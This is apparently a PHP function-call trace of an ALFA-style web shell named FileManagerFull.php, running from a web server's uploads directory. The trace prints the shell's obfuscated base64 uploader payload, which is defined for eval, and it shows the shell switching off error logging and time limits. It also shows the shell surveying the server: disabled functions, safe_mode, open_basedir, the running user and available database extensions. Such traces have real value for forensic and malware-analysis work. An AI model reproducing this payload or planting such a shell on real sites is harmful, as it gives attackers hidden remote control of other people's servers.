2 27 R '128M'
2 28 0 0.012600 2767992 ini_set 0 /var/www/html/uploads/FileManagerFull.php 518 2 'upload_max_filesize' '9999m'
2 28 1 0.012615 2768064
2 28 R FALSE
2 29 0 0.012631 2767992 error_reporting 0 /var/www/html/uploads/FileManagerFull.php 853 1 32759
2 29 1 0.012644 2768064
2 29 R 0
2 30 0 0.012656 2768024 ini_set 0 /var/www/html/uploads/FileManagerFull.php 854 2 'error_log' NULL
2 30 1 0.012671 2768096
2 30 R ''
2 31 0 0.012684 2768024 ini_set 0 /var/www/html/uploads/FileManagerFull.php 855 2 'log_errors' 0
2 31 1 0.012698 2768096
2 31 R '1'
2 32 0 0.012710 2768024 ini_set 0 /var/www/html/uploads/FileManagerFull.php 856 2 'max_execution_time' 0
2 32 1 0.012724 2768064
2 32 R '0'
2 33 0 0.012737 2767992 ini_set 0 /var/www/html/uploads/FileManagerFull.php 857 2 'magic_quotes_runtime' 0
2 33 1 0.012751 2768064
2 33 R FALSE
2 34 0 0.012763 2767992 set_time_limit 0 /var/www/html/uploads/FileManagerFull.php 858 1 0
2 34 1 0.012777 2768056
2 34 R FALSE
2 35 0 0.012789 2768024 function_exists 0 /var/www/html/uploads/FileManagerFull.php 859 1 'set_magic_quotes_runtime'
2 35 1 0.012803 2768064
2 35 R FALSE
1 A /var/www/html/uploads/FileManagerFull.php 875 $default_action = 'FilesMan2'
1 A /var/www/html/uploads/FileManagerFull.php 876 $default_use_ajax = TRUE
1 A /var/www/html/uploads/FileManagerFull.php 877 $default_charset = 'Windows-1251'
2 36 0 0.012851 2768024 substr 0 /var/www/html/uploads/FileManagerFull.php 878 3 'Linux' 0 3
2 36 1 0.012866 2768152
2 36 R 'Lin'
2 37 0 0.012878 2768056 strtolower 0 /var/www/html/uploads/FileManagerFull.php 878 1 'Lin'
2 37 1 0.012892 2768120
2 37 R 'lin'
1 A /var/www/html/uploads/FileManagerFull.php 881 GLOBALS['sys'] = 'unix'
2 38 0 0.012918 2768024 alfaGetCwd 1 /var/www/html/uploads/FileManagerFull.php 882 0
3 39 0 0.012931 2768024 function_exists 0 /var/www/html/uploads/FileManagerFull.php 737 1 'getcwd'
3 39 1 0.012945 2768064
3 39 R TRUE
3 40 0 0.012957 2768024 getcwd 0 /var/www/html/uploads/FileManagerFull.php 738 0
3 40 1 0.012973 2768072
3 40 R '/var/www/html/uploads'
2 38 1 0.012987 2768072
2 38 R '/var/www/html/uploads'
1 A /var/www/html/uploads/FileManagerFull.php 882 GLOBALS['home_cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/FileManagerFull.php 883 GLOBALS['need_to_update_header'] = 'false'
1 A /var/www/html/uploads/FileManagerFull.php 884 GLOBALS['glob_chdir_false'] = FALSE
2 41 0 0.013040 2768072 alfaGetCwd 1 /var/www/html/uploads/FileManagerFull.php 890 0
3 42 0 0.013053 2768072 function_exists 0 /var/www/html/uploads/FileManagerFull.php 737 1 'getcwd'
3 42 1 0.013066 2768112
3 42 R TRUE
3 43 0 0.013079 2768072 getcwd 0 /var/www/html/uploads/FileManagerFull.php 738 0
3 43 1 0.013092 2768120
3 43 R '/var/www/html/uploads'
2 41 1 0.013106 2768120
2 41 R '/var/www/html/uploads'
1 A /var/www/html/uploads/FileManagerFull.php 890 GLOBALS['cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/FileManagerFull.php 898 ['cwd'] .= '/'
2 44 0 0.013147 2768120 function_exists 0 /var/www/html/uploads/FileManagerFull.php 899 1 'sys_get_temp_dir'
2 44 1 0.013161 2768160
2 44 R TRUE
2 45 0 0.013174 2768120 function_exists 0 /var/www/html/uploads/FileManagerFull.php 900 1 'mb_strlen'
2 45 1 0.013188 2768160
2 45 R FALSE
2 46 0 0.013201 2768120 function_exists 0 /var/www/html/uploads/FileManagerFull.php 905 1 'mb_substr'
2 46 1 0.013214 2768160
2 46 R FALSE
2 47 0 0.013230 2768120 function_exists 0 /var/www/html/uploads/FileManagerFull.php 910 1 'sys_get_temp_dir'
2 47 1 0.013244 2768160
2 47 R TRUE
2 48 0 0.013256 2768120 sys_get_temp_dir 0 /var/www/html/uploads/FileManagerFull.php 910 0
2 48 1 0.013270 2768160
2 48 R '/tmp'
2 49 0 0.013282 2768160 str_replace 0 /var/www/html/uploads/FileManagerFull.php 910 3 '\\' '/' '/tmp'
2 49 1 0.013297 2768256
2 49 R '/tmp'
2 50 0 0.013310 2768160 is_writable 0 /var/www/html/uploads/FileManagerFull.php 910 1 '/tmp'
2 50 1 0.013333 2768200
2 50 R TRUE
2 51 0 0.013346 2768128 sys_get_temp_dir 0 /var/www/html/uploads/FileManagerFull.php 910 0
2 51 1 0.013359 2768160
2 51 R '/tmp'
2 52 0 0.013372 2768160 define 0 /var/www/html/uploads/FileManagerFull.php 910 2 'ALFA_TEMPDIR' '/tmp'
2 52 1 0.013387 2768264
2 52 R TRUE
2 53 0 0.013402 2768192 function_exists 0 /var/www/html/uploads/FileManagerFull.php 2399 1 'posix_getpwuid'
2 53 1 0.013416 2768232
2 53 R TRUE
2 54 0 0.013428 2768192 function_exists 0 /var/www/html/uploads/FileManagerFull.php 2401 1 'posix_getgrgid'
2 54 1 0.013442 2768232
2 54 R TRUE
2 55 0 0.013455 2768192 function_exists 0 /var/www/html/uploads/FileManagerFull.php 2459 1 'scandir'
2 55 1 0.013468 2768232
2 55 R TRUE
2 56 0 0.013485 2768192 function_exists 0 /var/www/html/uploads/FileManagerFull.php 6162 1 'json_encode'
2 56 1 0.013499 2768232
2 56 R TRUE
2 57 0 0.013511 2768192 function_exists 0 /var/www/html/uploads/FileManagerFull.php 6204 1 'json_decode'
2 57 1 0.013524 2768232
2 57 R TRUE
2 58 0 0.013537 2768232 function_exists 0 /var/www/html/uploads/FileManagerFull.php 6520 1 'alfaFilesMan2'
2 58 1 0.013551 2768272
2 58 R TRUE
1 A /var/www/html/uploads/FileManagerFull.php 6521 _POST['a'] = 'FilesMan2'
2 59 0 0.013577 2768608 function_exists 0 /var/www/html/uploads/FileManagerFull.php 6524 1 'alfaFilesMan2'
2 59 1 0.013590 2768648
2 59 R TRUE
2 60 0 0.013603 2768568 alfaFilesMan2 1 /var/www/html/uploads/FileManagerFull.php 6525 0
3 61 0 0.013621 2768568 alfahead 1 /var/www/html/uploads/FileManagerFull.php 2560 0
3 A /var/www/html/uploads/FileManagerFull.php 912 GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3 A /var/www/html/uploads/FileManagerFull.php 913 $alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4 62 0 0.013692 2770360 __ZW5jb2Rlcg 1 /var/www/html/uploads/FileManagerFull.php 914 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 63 0 0.013721 2770360 vcnvSCZgBz 1 /var/www/html/uploads/FileManagerFull.php 119 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 A /var/www/html/uploads/FileManagerFull.php 68 $b = 'base64_encode'
6 64 0 0.013759 2770360 base64_encode 0 /var/www/html/uploads/FileManagerFull.php 69 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6 64 1 0.013792 2772952
6 64 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5 63 1 0.013822 2772920
5 63 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 62 1 0.013852 2772920
4 62 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 65 0 0.013881 2772920 define 0 /var/www/html/uploads/FileManagerFull.php 914 2 'ALFA_UPLOADER' 'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4 65 1 0.013908 2773024
4 65 R TRUE
3 A /var/www/html/uploads/FileManagerFull.php 966 _POST['charset'] = 'Windows-1251'
4 66 0 0.013936 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 967 1 'diskfreespace'
4 66 1 0.013950 2772992
4 66 R TRUE
4 67 0 0.013963 2772952 diskfreespace 0 /var/www/html/uploads/FileManagerFull.php 967 1 '/var/www/html/uploads/'
4 67 1 0.013982 2772984
4 67 R 208211271680
3 A /var/www/html/uploads/FileManagerFull.php 967 $freeSpace = 208211271680
4 68 0 0.014008 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 968 1 'disk_total_space'
4 68 1 0.014022 2772992
4 68 R TRUE
4 69 0 0.014035 2772952 disk_total_space 0 /var/www/html/uploads/FileManagerFull.php 968 1 '/var/www/html/uploads/'
4 69 1 0.014050 2772984
4 69 R 232015802368
3 A /var/www/html/uploads/FileManagerFull.php 968 $totalSpace = 232015802368
3 A /var/www/html/uploads/FileManagerFull.php 969 $totalSpace = 232015802368
3 A /var/www/html/uploads/FileManagerFull.php 970 $on = '<span class=\'header_on\'> ON </span>'
3 A /var/www/html/uploads/FileManagerFull.php 971 $of = '<span class=\'header_off\'> OFF </span>'
3 A /var/www/html/uploads/FileManagerFull.php 972 $none = '<span class=\'header_none\'> NONE </span>'
4 70 0 0.014124 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 973 1 'ssh2_connect'
4 70 1 0.014137 2772992
4 70 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 976 $ssh2 = '<span class=\'header_off\'> OFF </span>'
4 71 0 0.014162 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 977 1 'curl_version'
4 71 1 0.014176 2772992
4 71 R TRUE
3 A /var/www/html/uploads/FileManagerFull.php 978 $curl = '<span class=\'header_on\'> ON </span>'
4 72 0 0.014200 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 981 1 'mysql_get_client_info'
4 72 1 0.014214 2772992
4 72 R FALSE
4 73 0 0.014227 2772952 class_exists 0 /var/www/html/uploads/FileManagerFull.php 981 1 'mysqli'
4 73 1 0.014244 2772992
4 73 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 984 $mysql = '<span class=\'header_off\'> OFF </span>'
4 74 0 0.014269 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 985 1 'mssql_connect'
4 74 1 0.014282 2772992
4 74 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 988 $mssql = '<span class=\'header_off\'> OFF </span>'
4 75 0 0.014307 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 989 1 'pg_connect'
4 75 1 0.014320 2772992
4 75 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 992 $pg = '<span class=\'header_off\'> OFF </span>'
4 76 0 0.014344 2772952 function_exists 0 /var/www/html/uploads/FileManagerFull.php 993 1 'oci_connect'
4 76 1 0.014357 2772992
4 76 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 996 $or = '<span class=\'header_off\'> OFF </span>'
4 77 0 0.014381 2772952 ini_get 0 /var/www/html/uploads/FileManagerFull.php 997 1 'disable_functions'
4 77 1 0.014395 2773432
4 77 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 78 0 0.014420 2772952 ini_get 0 /var/www/html/uploads/FileManagerFull.php 998 1 'disable_functions'
4 78 1 0.014433 2773432
4 78 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3 A /var/www/html/uploads/FileManagerFull.php 998 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 79 0 0.014477 2773400 ini_get 0 /var/www/html/uploads/FileManagerFull.php 1001 1 'safe_mode'
4 79 1 0.014490 2773432
4 79 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1004 $safe_modes = '<span class=\'header_on\'>OFF</span>'
3 A /var/www/html/uploads/FileManagerFull.php 1005 $cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4 80 0 0.014529 2773400 ini_get 0 /var/www/html/uploads/FileManagerFull.php 1006 1 'open_basedir'
4 80 1 0.014542 2773432
4 80 R ''
3 A /var/www/html/uploads/FileManagerFull.php 1013 $open_b = '<span class=\'header_none\'> NONE </span>'
4 81 0 0.014569 2773400 ini_get 0 /var/www/html/uploads/FileManagerFull.php 1014 1 'safe_mode_exec_dir'
4 81 1 0.014582 2773432
4 81 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1017 $safe_exe = '<span class=\'header_none\'> NONE </span>'
4 82 0 0.014608 2773400 ini_get 0 /var/www/html/uploads/FileManagerFull.php 1018 1 'safe_mode_include_dir'
4 82 1 0.014621 2773432
4 82 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1021 $safe_include = '<span class=\'header_none\'> NONE </span>'
4 83 0 0.014647 2773400 function_exists 0 /var/www/html/uploads/FileManagerFull.php 1022 1 'posix_getegid'
4 83 1 0.014660 2773440
4 83 R TRUE
4 84 0 0.014673 2773400 function_exists 0 /var/www/html/uploads/FileManagerFull.php 1029 1 'posix_getpwuid'
4 84 1 0.014686 2773440
4 84 R TRUE
4 85 0 0.014699 2773400 function_exists 0 /var/www/html/uploads/FileManagerFull.php 1029 1 'posix_geteuid'
4 85 1 0.014712 2773440
4 85 R TRUE
4 86 0 0.014725 2773400 posix_geteuid 0 /var/www/html/uploads/FileManagerFull.php 1029 0
4 86 1 0.014739 2773400
4 86 R 33
4 87 0 0.014751 2773400 posix_getpwuid 0 /var/www/html/uploads/FileManagerFull.php 1029 1 33
4 87 1 0.014799 2774232
4 87 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3 A /var/www/html/uploads/FileManagerFull.php 1029 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4 88 0 0.014843 2774200 function_exists 0 /var/www/html/uploads/FileManagerFull.php 1030 1 'posix_getgrgid'
4 88 1 0.014857 2774240
4 88 R TRUE
4 89 0 0.014875 2774200 function_exists 0 /var/www/html/uploads/FileManagerFull.php 1030 1 'posix_getegid'
4 89 1 0.014888 2774240
4 89 R TRUE
4 90 0 0.014900 2774200 posix_getegid 0 /var/www/html/uploads/FileManagerFull.php 1030 0
4 90 1 0.014913 2774200
4 90 R 33
4 91 0 0.014925 2774200 posix_getgrgid 0 /var/www/html/uploads/FileManagerFull.php 1030 1 33
4 91 1 0.014955 2774864
4 91 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/FileManagerFull.php 1030 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/FileManagerFull.php 1031 $user = 'www-data'
3 A /var/www/html/uploads/FileManagerFull.php 1032 $uid = 33
3 A /var/www/html/uploads/FileManagerFull.php 1033 $group = 'www-data'
3 A /var/www/html/uploads/FileManagerFull.php 1034 $gid = 33
3 A /var/www/html/uploads/FileManagerFull.php 1036 $cwd_links = ''
4 92 0 0.015044 2773480 explode 0 /var/www/html/uploads/FileManagerFull.php 1037 2 '/' '/var/www/html/uploads/'
4 92 1 0.015059 2774088
4 92 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/FileManagerFull.php 1037 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/FileManagerFull.php 1038 $n = 6
3 A /var/www/html/uploads/FileManagerFull.php 1039 $i = 0
3 A /var/www/html/uploads/FileManagerFull.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/FileManagerFull.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j = 0
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1046 $cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3 A /var/www/html/uploads/FileManagerFull.php 1039 $i++
3 A /var/www/html/uploads/FileManagerFull.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/FileManagerFull.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j = 0
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1046 $cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3 A /var/www/html/uploads/FileManagerFull.php 1039 $i++
3 A /var/www/html/uploads/FileManagerFull.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/FileManagerFull.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j = 0
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1046 $cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3 A /var/www/html/uploads/FileManagerFull.php 1039 $i++
3 A /var/www/html/uploads/FileManagerFull.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/FileManagerFull.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j = 0
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1046 $cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3 A /var/www/html/uploads/FileManagerFull.php 1039 $i++
3 A /var/www/html/uploads/FileManagerFull.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/FileManagerFull.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j = 0
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
